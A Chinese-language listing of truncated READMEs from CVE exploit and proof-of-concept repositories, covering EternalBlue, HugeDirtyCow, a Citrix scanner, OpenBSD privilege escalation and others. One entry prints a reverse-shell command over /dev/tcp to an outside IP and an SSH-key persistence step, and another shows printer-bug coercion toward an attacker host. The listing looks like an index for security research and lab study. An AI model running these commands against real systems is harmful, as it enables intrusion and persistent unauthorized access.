Eaton-UPS-Companion-Exploit

概述 Eaton UPS Companion 软件每周都会通过不安全的 HTTP 连接检查更新，并对更新 URL 处的任何内容执行 eval。这使得攻击者能够精心构造一个 JavaScript 函数，利用后端软件中已经存在的底层操作系统操作，如文件执行、网络套接字和文件系统 I/O。所有这些操作都以 NT AUTHORITY\SYSTEM 权限进行，这很可能是由于 UPS（不间断电源）进行系统管理所需的权限。等待一段时间后，无需任何操作即可自动进行命令注入，从而获得 SYSTEM shell。 此问题已在 1.06 版本中修复，分配的 CVE ID 为 CVE-2020-6650。 时间...

CVE-2024-47533

反向 Shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' 简单命令 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' 写入 SSH 密钥 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p /root/.ssh && echo...

HugeDirtyCowPOC

"巨型脏牛" POC 这是一个针对"巨型脏牛"漏洞（CVE-2017-1000405）的POC。完整详情请参见此处。 运行前，请确保将透明大页面设置为"always"： echo always | sudo tee /sys/kernel/mm/transparenthugepage/enabled...

o3_finds_cve-2025-37899

这是我的博客文章《我如何利用 o3 发现 CVE-2025-37899——Linux 内核 SMB 实现中的一个远程零日漏洞》所关联的工件仓库。详情请参阅该文章。...

spring-amqp-deserialization

spring-amqp-deserialization Spring AMQP 反序列化漏洞 CVE-2023-34050 的概念验证 受影响的版本： 1.0.0 到 2.4.16 3.0.0 到 3.0.9 参考：https://spring.io/security/cve-2023-34050...

cve-2023-3519-citrix-scanner

cve-2023-3519-citrix-scanner 该脚本是一个针对CVE-2023-3519的基础Citrix扫描器。 我们尝试通过查看HTTP头来识别存在漏洞的Citrix Gateway/ADC设备。 工作原理 在对该漏洞的分析过程中，我们与CERT-Verbund的朋友注意到，已修补的系统具有相同的HTTP头Last-Modified时间戳。 请注意，反向代理和高度定制的前端页面可能会改变结果。 在这种情况下，我们检查时间戳是否可变。如果不变，且时间戳晚于2023年7月18日，则服务器可能已修补。 该脚本不应成为您检查自己是否易受攻击的唯一方法。 我们目前已知的时间戳如下：...

Exploit-CVE-2017-5633

Exploit-CVE-2017-5633 我喜欢写代码，而不是写README.md。...

CVE-2025-32463

此存储库没有 README。...

Openbsd-Privilege-Escalation

Openbsd-Privilege-Escalation 一个脚本，通过利用 xlock 二进制文件获取其 sgid（CVE-2019-19520），自动执行 OpenBSD 系统上的权限提升过程；并通过（CVE-2019-19522）利用 auth 组的权限，向 Skey 或 Yubikey 添加密钥，从而提升至 root 用户。 C 代码几乎完全复制自原始 PoC：https://www.openwall.com/lists/oss-security/2019/12/04/5 CVE-2019-19522：通过 S/Key 和 YubiKey 进行本地权限提升 在 OpenBSD...

day04-nexus-4956

第4天 – Nexus Repository 3 路径遍历 CVE-2024-4956 内容： 未认证的路径遍历漏洞允许任何人通过精心构造的 URL 下载任意文件。 漏洞： 影响 Nexus Repo 3 版本 ≤ 3.68.0 。已在 3.68.1 中修复。 来源： Sonatype 公告 + NVD。 安全性： 本实验室仅限本地环境。不要攻击你不拥有的系统。 设置 docker build -t day4-nexus-4956 . docker run -d -p 8081:8081 --name day4 day4-nexus-4956 Boot takes 1–2 minutes...

SMB-Protocol-Vulnerability_CVE-2017-0144

LAB: 基于SMB协议漏洞的Windows操作系统攻击 1. 描述 2. 概述 3. 准备 4. 实施攻击 5. 防御方法 1. 描述 在本实验中，我们将使用两台计算机模拟基于Windows操作系统SMB协议漏洞的攻击。一台运行Kali Linux操作系统，扮演攻击者（黑客）。另一台计算机扮演受害者（victim）。受害机器运行的是包含SMB漏洞的Windows 7 64位操作系统。为此，我们将在Kali Linux机器上使用名为 EternalBlue 的漏洞利用代码攻击Windows 7机器。 2. 概述 Server Message Block...

CVE-2022-26318

此存储库没有 README。...

frameworks_av_AOSP10_r33_CVE-2021-0520

此存储库没有 README。...

CVE-2019-1388

CVE-2019-1388...

Ethermint-CVE-2021-25837

Ethermint-CVE-2021-25837...

linux-4.1.15_CVE-2018-5873

Linux 内核发布 4.x http://kernel.org/ 以下是 Linux 4.x 版本的发布说明。请仔细阅读,因为它们会告诉你这一切是怎么回事、如何安装内核,以及出现问题时的处理方法。 什么是 Linux? Linux 是 Unix 操作系统的一个克隆,由 Linus Torvalds 从零开始编写,并得到了来自网络上松散协作的黑客团队的帮助。它以符合 POSIX 和单一 UNIX 规范Single UNIX Specification为目标。 它拥有你期望在现代全功能 Unix...

cve-2015-1427

CVE-2015-1427 这是 Cved 的一部分： 一个管理易受攻击的 Docker 容器的工具。 Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/cve-2015-1427 Image author: https://github.com/t0kx/exploit-CVE-2015-1427...

printerbugnew

基于 TCP 的纯 RPC 打印机后台处理程序触发 适用于 Windows 11 22H2+ / Windows Server 2025 用法 printerbugnew.py username password domain attackerhost tcpport 示例 匿名连接 printerbugnew.py 192.168.1.100 使用凭据 printerbugnew.py 192.168.1.100 admin Password123 DOMAIN 触发回连到其他主机（攻击者） printerbugnew.py 192.168.1.100 admin Password12...

linux-4.1.15_CVE-2022-45934

Linux内核发布4.x http://kernel.org/ 这些是Linux 4.x版本的发布说明。请仔细阅读，它们说明了这是什么，如何安装内核，以及出现问题时的处理方法。 什么是LINUX？ Linux是Unix操作系统的一个克隆，由Linus Torvalds从头编写，在网络上松散的黑客团队协助下完成。它旨在符合POSIX和单一UNIX规范。 它拥有你在现代化完整Unix中所期望的所有功能，包括真正的多任务、虚拟内存、共享库、按需加载、共享写时复制可执行文件、恰当的内存管理，以及包括IPv4和IPv6的多栈网络。...

perl-CVE-2013-1775

CVE-2013-1775 Apple Mac OSX 10.8.4 - 特权提升 CVE-2013-1775 Apple Mac OSX 10.8.4 特权提升漏洞的 Perl 版本利用程序。 参考资料： https://www.exploit-db.com/exploits/27965/ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudopasswordbypass.rb http://www.exploit-db.com/exploits/27944/...